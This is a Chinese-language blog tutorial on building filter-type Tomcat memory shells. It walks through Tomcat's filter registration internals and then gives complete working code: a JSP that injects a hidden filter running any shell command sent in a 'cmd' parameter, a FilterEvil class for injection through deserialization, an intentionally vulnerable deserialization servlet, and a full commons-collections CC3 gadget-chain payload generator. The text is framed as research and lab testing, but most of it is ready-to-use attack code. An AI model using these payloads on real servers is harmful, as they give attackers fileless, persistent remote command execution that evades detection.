Tomcat内存马(二)


tomcat内存马第二式 filter型内存马

回顾

tomcat容器经过的三个大件:

1
listener->filter->servlet

讲一下第二个,filter

写一个过滤器

和listener一样,filter还是得自己写然后在web.xml里添加的:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
package com.Err0r233;

import javax.servlet.*;
import java.io.IOException;

public class TestFilter implements Filter {
@Override
public void init(FilterConfig filterConfig) throws ServletException{
System.out.println("filter 初始化...");
}

@Override
public void doFilter(ServletRequest request, ServletResponse response, FilterChain chain) throws IOException, ServletException {
System.out.println("doFilter过滤");
chain.doFilter(request, response);
}

@Override
public void destroy(){
System.out.println("filter 销毁...");
}
}

web.xml:

1
2
3
4
5
6
7
8
<filter>
<filter-name>TestFilter</filter-name>
<filter-class>com.Err0r233.TestFilter</filter-class>
</filter>
<filter-mapping>
<filter-name>TestFilter</filter-name>
<url-pattern>/*</url-pattern>
</filter-mapping>

测试结果:

有了listener型内存马的经验,我们不难想到只需要找一个方式能够添加新的自定义filter即可

找添加自定义filter的方法

在init方法打断点调试,为什么呢?其实是因为init是初始化的时候,不难想到初始化的时候很有可能会添加filter。

观察调用栈

看到了熟悉的StandardContext,跟进这个

首先对filterDefs进行了foreach获取键值对,点开来看可以得出filterDefs是一个hashMap,key对应的是filter的名字,value对应的是装着filter对象的hashMap。展开value,观察我们要对filter对象的属性,便于后续操作:

先记着这个。

然后找filterDefs如何被添加的,搜这个变量名一下就找到了:

接着往下看,获取到name之后会这个entry的value,也就是装有filter对象的hashMap进行ApplicationFilterConfig()

跟进去可以看到有两条路,取决于filterDef.getFilter()是否为空,如果为空就调用getFilter()初始化,否则根据传入的filterDef获取filter并初始化

这个Filter还是有getter和setter方法的,那就简单了

可以构造一个FilterDef对象,并且将其set成我们的恶意filter即可

注意filter的属性,上面的伏笔回收,根据上面截的图我们可以得知除了设置setFilter本身,还要设置以下几个东西

  • filterClass
  • filterName

可以写出一小段伪代码了,作用是添加一个自定义filter:

1
2
3
4
5
FilterDef filterDef = new FilterDef();
filterDef.setFilter(filter);
filterDef.setFilterClass(filter.getClass().getName());
filterDef.setFilterName(name);
standardContext.addFilterDef(filterDef);

调用filter

前文说过,要调用filter的话,核心函数在其doFilter上,所以我们仍需要对doFilter进行调试,通过对doFilter打断点并回到上一步,观察:

从上面的图可以看出filter是从filterConfig中获取的,filterConfig可以通过StandardConfig获得

往前读取调用栈,发现了filterChain.doFilter,寻找filterchain在哪获得的:

可以看到在ApplicationFilterFactory.createFilterChain(request, wrapper, servlet)

跟入发现FilterMaps,观察属性:

继续看下文,注意到获取到了一个dispatcher,如果没有匹配到dispatcher的话会被直接continue掉,所以要设置dispatcher

实现内存马

整理下,filter型的内存马需要几个流程:

  • filterDefs添加filter,是filterNamefilter对象的映射
  • filterMaps添加filterchain在dofilter内,观察变量可以得到它其实是filterNameurl路径的映射
  • filterConfigs:存放filterDefs,是ApplicationFilterConfig对象
  • 设置Dispatcher

马如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
<%@ page import="org.apache.catalina.core.ApplicationContext" %>
<%@ page import="java.lang.reflect.Field" %>
<%@ page import="org.apache.catalina.core.StandardContext" %>
<%@ page import="java.util.Map" %>
<%@ page import="java.io.IOException" %>
<%@ page import="org.apache.tomcat.util.descriptor.web.FilterDef" %>
<%@ page import="org.apache.tomcat.util.descriptor.web.FilterMap" %>
<%@ page import="java.lang.reflect.Constructor" %>
<%@ page import="org.apache.catalina.core.ApplicationFilterConfig" %>
<%@ page import="org.apache.catalina.Context" %>
<%@ page language="java" contentType="text/html; charset=UTF-8" pageEncoding="UTF-8"%>

<%
final String name = "Err0r233";
ServletContext servletContext = request.getSession().getServletContext();

Field appctx = servletContext.getClass().getDeclaredField("context");
appctx.setAccessible(true);
ApplicationContext applicationContext = (ApplicationContext) appctx.get(servletContext);

Field stdctx = applicationContext.getClass().getDeclaredField("context");
stdctx.setAccessible(true);
StandardContext standardContext = (StandardContext) stdctx.get(applicationContext);

Field Configs = standardContext.getClass().getDeclaredField("filterConfigs");
Configs.setAccessible(true);
Map filterConfigs = (Map) Configs.get(standardContext);

if (filterConfigs.get(name) == null){
Filter filter = new Filter() {
@Override
public void init(FilterConfig filterConfig) throws ServletException {

}

@Override
public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain) throws IOException, ServletException {
HttpServletRequest req = (HttpServletRequest) servletRequest;
if (req.getParameter("cmd") != null){
byte[] bytes = new byte[1024];
Process process = new ProcessBuilder("cmd","/c",req.getParameter("cmd")).start();
int len = process.getInputStream().read(bytes);
servletResponse.getWriter().write(new String(bytes,0,len));
process.destroy();
return;
}
filterChain.doFilter(servletRequest,servletResponse);
}

@Override
public void destroy() {

}

};


FilterDef filterDef = new FilterDef();
filterDef.setFilter(filter);
filterDef.setFilterName(name);
filterDef.setFilterClass(filter.getClass().getName());
standardContext.addFilterDef(filterDef);

FilterMap filterMap = new FilterMap();
filterMap.addURLPattern("/*");
filterMap.setFilterName(name);
filterMap.setDispatcher(DispatcherType.REQUEST.name());

standardContext.addFilterMapBefore(filterMap);

Constructor constructor = ApplicationFilterConfig.class.getDeclaredConstructor(Context.class,FilterDef.class);
constructor.setAccessible(true);
ApplicationFilterConfig filterConfig = (ApplicationFilterConfig) constructor.newInstance(standardContext,filterDef);

filterConfigs.put(name,filterConfig);
out.print("Inject Success !");
}
%>

doFilter这段就是核心功能,打rce

下面这段就是注册这三个对象的,并且将其放进filterConfigs添加了这个filter

还是同样的套路,访问test.jsp添加filter即可

提升:反序列化实现

参考天下大木头师傅的文章,因为要传jsp,导致文件还是会落地的,这和我们想法有些出入,内存马内存马,就应该不存在于文件内。

对于filter型内存马还是有一种形式能够存在于反序列化的payload里的

换而言之,我们能够将内存马以字节码的形式写进去加载,类似于spring的马了。

解决request & response

jsp中内置了requestresponse,能够让我们处理问题变得简单,而要写一个java class的话,首先就要解决requestresponse的问题

kingkk师傅找到了两个static final变量

1
2
private static final ThreadLocal<ServletRequest> lastServicedRequest;
private static final ThreadLocal<ServletResponse> lastServicedResponse;

并且在internalDoFilter中有一段代码:

1
2
3
4
if (ApplicationDispatcher.WRAP_SAME_OBJECT) {
lastServicedRequest.set(request);
lastServicedResponse.set(response);
}

如果ApplicationDispatcher.WRAP_SAME_OBJECT为true的时候,就能够将这两个对象设置成对应的request和response

寻找lastServicedRequestlastServicedResponse,发现他们在静态代码块的时候进行了一次初始化:

1
2
3
4
5
6
7
8
9
static {
if (ApplicationDispatcher.WRAP_SAME_OBJECT) {
lastServicedRequest = new ThreadLocal<>();
lastServicedResponse = new ThreadLocal<>();
} else {
lastServicedRequest = null;
lastServicedResponse = null;
}
}

注意static代码块会更优先执行,所以这一段会先把这两个request和Response根据WRAP_SAME_OBJECT设置

WRAP_SAME_OBJECT的默认值为false,所以他们初始化的时候是null

因此我们需要通过反射调用WRAP_SAME_OBJECT为true,同时初始化requestresponse

大致代码如下:

1
2
3
WRAP_SAME_OBJECT_FIELD.setBoolean(applicationDispatcher, true);
lastServicedRequestField.set(applicationFilterChain, new ThreadLocal());
lastServicedResponseField.set(applicationFilterChain, new ThreadLocal());

这样第二次访问的时候就能够将response从lastServicedResponse取出来了

大致思路如下:

  • 第一次访问利用反射修改参数,如上述代码块,将request和response存入到这个lastServicedRequestlastServicedResponse
  • 第二次访问将reqres取出,将结果写入response,达成回显

poc

由于是低版本,所以利用低版本修改final static修饰的变量即可:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
import org.apache.catalina.connector.Response;
import org.apache.catalina.connector.ResponseFacade;
import org.apache.catalina.core.ApplicationFilterChain;

import javax.servlet.ServletException;
import javax.servlet.ServletRequest;
import javax.servlet.ServletResponse;
import javax.servlet.annotation.WebServlet;
import javax.servlet.http.HttpServlet;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import java.io.IOException;
import java.io.InputStream;
import java.io.Writer;
import java.lang.reflect.Field;
import java.lang.reflect.Method;
import java.lang.reflect.Modifier;
import java.util.Scanner;

@WebServlet("/echo")
@SuppressWarnings("all")
public class Echo extends HttpServlet {
@Override
protected void doGet(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
try {
Class applicationDispatcher = Class.forName("org.apache.catalina.core.ApplicationDispatcher");
Field WRAP_SAME_OBJECT_FIELD = applicationDispatcher.getDeclaredField("WRAP_SAME_OBJECT");
WRAP_SAME_OBJECT_FIELD.setAccessible(true);
// 利用反射修改 final 变量 ,不这么设置无法修改 final 的属性
Field f0 = Class.forName("java.lang.reflect.Field").getDeclaredField("modifiers");
f0.setAccessible(true);
f0.setInt(WRAP_SAME_OBJECT_FIELD,WRAP_SAME_OBJECT_FIELD.getModifiers()& ~Modifier.FINAL);

Class applicationFilterChain = Class.forName("org.apache.catalina.core.ApplicationFilterChain");
Field lastServicedRequestField = applicationFilterChain.getDeclaredField("lastServicedRequest");
Field lastServicedResponseField = applicationFilterChain.getDeclaredField("lastServicedResponse");
lastServicedRequestField.setAccessible(true);
lastServicedResponseField.setAccessible(true);
f0.setInt(lastServicedRequestField,lastServicedRequestField.getModifiers()& ~Modifier.FINAL);
f0.setInt(lastServicedResponseField,lastServicedResponseField.getModifiers()& ~Modifier.FINAL);

ThreadLocal<ServletRequest> lastServicedRequest = (ThreadLocal<ServletRequest>) lastServicedRequestField.get(applicationFilterChain);
ThreadLocal<ServletResponse> lastServicedResponse = (ThreadLocal<ServletResponse>) lastServicedResponseField.get(applicationFilterChain);

String cmd = lastServicedRequest!=null ? lastServicedRequest.get().getParameter("cmd"):null;

if (!WRAP_SAME_OBJECT_FIELD.getBoolean(applicationDispatcher) || lastServicedRequest == null || lastServicedResponse == null){
WRAP_SAME_OBJECT_FIELD.setBoolean(applicationDispatcher,true);
lastServicedRequestField.set(applicationFilterChain,new ThreadLocal());
lastServicedResponseField.set(applicationFilterChain,new ThreadLocal());
} else if (cmd!=null){
InputStream inputStream = Runtime.getRuntime().exec(cmd).getInputStream();
StringBuilder sb = new StringBuilder("");
byte[] bytes = new byte[1024];
int line = 0;
while ((line = inputStream.read(bytes))!=-1){
sb.append(new String(bytes,0,line));
}
Writer writer = lastServicedResponse.get().getWriter();
writer.write(sb.toString());
writer.flush();
}

} catch (Exception e){
e.printStackTrace();
}
}

@Override
protected void doPost(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
super.doPost(req, resp);
}
}

这里讲一下为什么要有第一次和第二次

刚开始这个WRAP_SAME_OBJECT设置为了false,所以lastServicedRequest和response都是null,因此就读不到req和res这些

第一次访问/echo后,此时WRAP_SAME_OBJECT为false。因为此时没有解析我们的java代码,然后由于Globals.IS_SECURITY_ENABLED默认为false,此时进入了servlet.service(),也就是自己的代码进行处理

此时反射启动,修改lastServicedWRAP_SAME_OBJECT

1
2
3
4
if (!WRAP_SAME_OBJECT_FIELD.getBoolean(applicationDispatcher) || lastServicedRequest == null || lastServicedResponse == null){
WRAP_SAME_OBJECT_FIELD.setBoolean(applicationDispatcher,true);
lastServicedRequestField.set(applicationFilterChain,new ThreadLocal());
lastServicedResponseField.set(applicationFilterChain,new ThreadLocal());

但是设置完毕之后回到原语句的finally中,将lastServiced设置为了null,所以这才需要第二次访问

第二次访问后由于这个WRAP_SAME_OBJECT被反射改成了true,此时就会触发上面的set方法,存入req和res,然后再进入this.servlet.service()执行自己的代码。因为req和res都已经获得到了,并且cmd不是null:

所以执行命令并且将执行完的结果写入res返回

咋利用呢?直接随便一个加载字节码的payload都能打

比如cc3、cc11这种,cc11其实就是cc6换成加载字节码执行罢了

最终poc

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
import org.apache.catalina.Context;
import org.apache.catalina.core.ApplicationContext;
import org.apache.catalina.core.ApplicationContextFacade;
import org.apache.catalina.core.ApplicationFilterConfig;
import org.apache.catalina.core.StandardContext;
import org.apache.tomcat.util.descriptor.web.FilterDef;
import org.apache.tomcat.util.descriptor.web.FilterMap;

import javax.servlet.*;
import javax.servlet.http.HttpServlet;
import java.io.ByteArrayOutputStream;
import java.io.IOException;
import java.io.InputStream;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.lang.reflect.InvocationTargetException;
import java.lang.reflect.Modifier;
import java.util.HashMap;

public class FilterEvil extends AbstractTranslet implements Filter {
static {
try {
Class appDispatcherClass = Class.forName("org.apache.catalina.core.ApplicationDispatcher");
Field wrapField = appDispatcherClass.getDeclaredField("WRAP_SAME_OBJECT");
wrapField.setAccessible(true);
//修改final
Field modifiersField = Field.class.getDeclaredField("modifiers");
modifiersField.setAccessible(true);
// 把指定的field中的final修饰符去掉
modifiersField.setInt(wrapField, wrapField.getModifiers() & ~Modifier.FINAL);

Class appFilterChainClass = Class.forName("org.apache.catalina.core.ApplicationFilterChain");

Field lastServicedRequestField = appFilterChainClass.getDeclaredField("lastServicedRequest");
Field lastServicedResponseField = appFilterChainClass.getDeclaredField("lastServicedResponse");
lastServicedRequestField.setAccessible(true);
lastServicedResponseField.setAccessible(true);
modifiersField.setInt(lastServicedRequestField, lastServicedRequestField.getModifiers() & ~Modifier.FINAL);
modifiersField.setInt(lastServicedResponseField, lastServicedResponseField.getModifiers() & ~Modifier.FINAL);

ThreadLocal<ServletRequest> lastServicedRequest = (ThreadLocal<ServletRequest>) lastServicedRequestField.get(appFilterChainClass);
ThreadLocal<ServletResponse> lastServicedResponse = (ThreadLocal<ServletResponse>) lastServicedResponseField.get(appFilterChainClass);


if (!wrapField.getBoolean(appDispatcherClass) || lastServicedRequest == null || lastServicedResponse == null) {
wrapField.set(null, true);
lastServicedRequestField.set(null, new ThreadLocal());
lastServicedResponseField.set(null, new ThreadLocal());
}else {

ServletRequest servletRequest = lastServicedRequest.get();
ServletResponse servletResponse = lastServicedResponse.get();

//开始注入内存马
ServletContext servletContext = servletRequest.getServletContext();
ApplicationContextFacade applicationContextFacade = (ApplicationContextFacade) servletContext;
Field applicationContextFacadeContext = applicationContextFacade.getClass().getDeclaredField("context");
applicationContextFacadeContext.setAccessible(true);
ApplicationContext applicationContext = (ApplicationContext) applicationContextFacadeContext.get(applicationContextFacade);
Field applicationContextContext = applicationContext.getClass().getDeclaredField("context");
applicationContextContext.setAccessible(true);
StandardContext standardContext = (StandardContext) applicationContextContext.get(applicationContext);



Field filterConfigs = standardContext.getClass().getDeclaredField("filterConfigs");
filterConfigs.setAccessible(true);
HashMap hashMap = (HashMap) filterConfigs.get(standardContext);
String filterName = "feng";

if (hashMap.get(filterName) == null) {

Filter filter = new FilterEvil();



FilterDef filterDef = new FilterDef();
filterDef.setFilter(filter);
filterDef.setFilterName(filterName);
filterDef.setFilterClass(filter.getClass().getName());
standardContext.addFilterDef(filterDef);

FilterMap filterMap = new FilterMap();
filterMap.addURLPattern("/*");
filterMap.setFilterName(filterName);
filterMap.setDispatcher(DispatcherType.REQUEST.name());
standardContext.addFilterMapBefore(filterMap);



Constructor constructor = ApplicationFilterConfig.class.getDeclaredConstructor(Context.class, FilterDef.class);
constructor.setAccessible(true);
ApplicationFilterConfig applicationFilterConfig = (ApplicationFilterConfig) constructor.newInstance(standardContext, filterDef);
hashMap.put(filterName, applicationFilterConfig);

servletResponse.getWriter().println("inject successfully");
}
}

} catch (NoSuchFieldException e) {
e.printStackTrace();
} catch (ClassNotFoundException e) {
e.printStackTrace();
} catch (IllegalAccessException e) {
e.printStackTrace();
} catch (InvocationTargetException e) {
e.printStackTrace();
} catch (NoSuchMethodException e) {
e.printStackTrace();
} catch (InstantiationException e) {
e.printStackTrace();
} catch (IOException e) {
e.printStackTrace();
}
}
@Override
public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {

}

@Override
public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {

}
@Override
public void init(FilterConfig filterConfig) throws ServletException {

}

@Override
public void doFilter(ServletRequest request, ServletResponse response, FilterChain chain) throws IOException, ServletException {
if (request.getParameter("cmd") != null) {
//String[] cmds = {"/bin/sh","-c",request.getParameter("cmd")}
String[] cmds = {"cmd", "/c", request.getParameter("cmd")};
InputStream in = Runtime.getRuntime().exec(cmds).getInputStream();
byte[] bcache = new byte[1024];
int readSize = 0;
try (ByteArrayOutputStream outputStream = new ByteArrayOutputStream()) {
while ((readSize = in.read(bcache)) != -1) {
outputStream.write(bcache, 0, readSize);
}
response.getWriter().println(outputStream.toString());
}
}


}

@Override
public void destroy() {
//Filter.super.destroy();
}
}

唯一要改的地方就是:

1
2
3
if (hashMap.get(filterName) == null) {

Filter filter = new FilterEvil();

总之就是不改就出问题T_T

搞恶意字节码进行即可,明天补上图

漏洞环境测试

参考天下大木头师傅的漏洞环境搭建,模拟漏洞servlet:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
package com.Err0r233;

import javax.servlet.ServletException;
import javax.servlet.annotation.WebServlet;
import javax.servlet.http.HttpServlet;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import java.io.*;
import java.util.Base64;

@WebServlet("/cc")
public class TestServlet extends HttpServlet {
@Override
protected void doGet(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
resp.setContentType("text/html");
PrintWriter out = resp.getWriter();
out.println("<h1>" + "Hello World" + "<h1>");
}

@Override
protected void doPost(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {

try {
String str = req.getParameter("data");
ByteArrayInputStream bais = new ByteArrayInputStream(Base64.getDecoder().decode(str));
ObjectInputStream objectInputStream = new ObjectInputStream(bais);
objectInputStream.readObject();
resp.getWriter().write("Successfully get your data deserialized!");
}catch (Exception e){
resp.getWriter().write("Something Error!");
}


}
}

pom.xml添加commons-collections

1
2
3
4
5
<dependency>
<groupId>commons-collections</groupId>
<artifactId>commons-collections</artifactId>
<version>3.2.1</version>
</dependency>

Project Structure添加cc依赖

web.xml添加servlet

开启服务后访问路由 测试效果:

先随便输入123测试能否正常接受post数据:

打cc3的payload:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
package com.Err0r233;

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InstantiateTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.LazyMap;

import javax.xml.transform.Templates;
import java.io.*;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Proxy;
import java.nio.file.Files;
import java.nio.file.Path;
import java.nio.file.Paths;
import java.util.Base64;
import java.util.HashMap;
import java.util.Map;

public class CC3 {
public static void main(String[] args) throws Exception {
TemplatesImpl templates = new TemplatesImpl();
Class clz = templates.getClass();
Field nameField = clz.getDeclaredField("_name");
nameField.setAccessible(true);
nameField.set(templates, "aaa");

byte[] bytecode = Files.readAllBytes(Paths.get("D:\\developJava\\tomcatmemshell\\target\\classes\\com\\Err0r233\\FilterEvil.class"));
byte[][] codes = {bytecode};

Field bytecodeField = clz.getDeclaredField("_bytecodes");
bytecodeField.setAccessible(true);
bytecodeField.set(templates, codes);

Field tfactoryField = clz.getDeclaredField("_tfactory");
tfactoryField.setAccessible(true);
tfactoryField.set(templates, new TransformerFactoryImpl());

//templates.newTransformer();
/*Transformer[] transformers = {
new ConstantTransformer(templates),
new InvokerTransformer("newTransformer", null, null)
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);*/

//chainedTransformer.transform(1);

//ysoserial里的CC3

InstantiateTransformer instantiateTransformer = new InstantiateTransformer(new Class[]{Templates.class}, new Object[]{templates});


Transformer[] transformers = {
new ConstantTransformer(TrAXFilter.class),
instantiateTransformer
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);


HashMap<Object, Object> map = new HashMap<>();
Map<Object, Object> lazyMap = LazyMap.decorate(map, chainedTransformer);

Class c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor AIHConstructor = c.getDeclaredConstructor(Class.class, Map.class);
AIHConstructor.setAccessible(true);
InvocationHandler h = (InvocationHandler) AIHConstructor.newInstance(Override.class, lazyMap);

Map mapProxy = (Map) Proxy.newProxyInstance(LazyMap.class.getClassLoader(), new Class[]{Map.class}, h);

Object o = AIHConstructor.newInstance(Override.class, mapProxy);

Serialize(o);



}
private static void Serialize(Object obj) throws IOException {
ByteArrayOutputStream baos = new ByteArrayOutputStream();
ObjectOutputStream objectOutputStream = new ObjectOutputStream(baos);
objectOutputStream.writeObject(obj);
System.out.println(new String(Base64.getEncoder().encode(baos.toByteArray())));
objectOutputStream.close();
}
private static void UnSerialize() throws IOException, ClassNotFoundException {
ObjectInputStream objectInputStream = new ObjectInputStream(new FileInputStream("ser.txt"));
objectInputStream.readObject();
objectInputStream.close();
}
}

因为上面分析了要访问两次,所以这里也必须执行两次,第二次才能够注入成功:

测试内存马:


参考文章: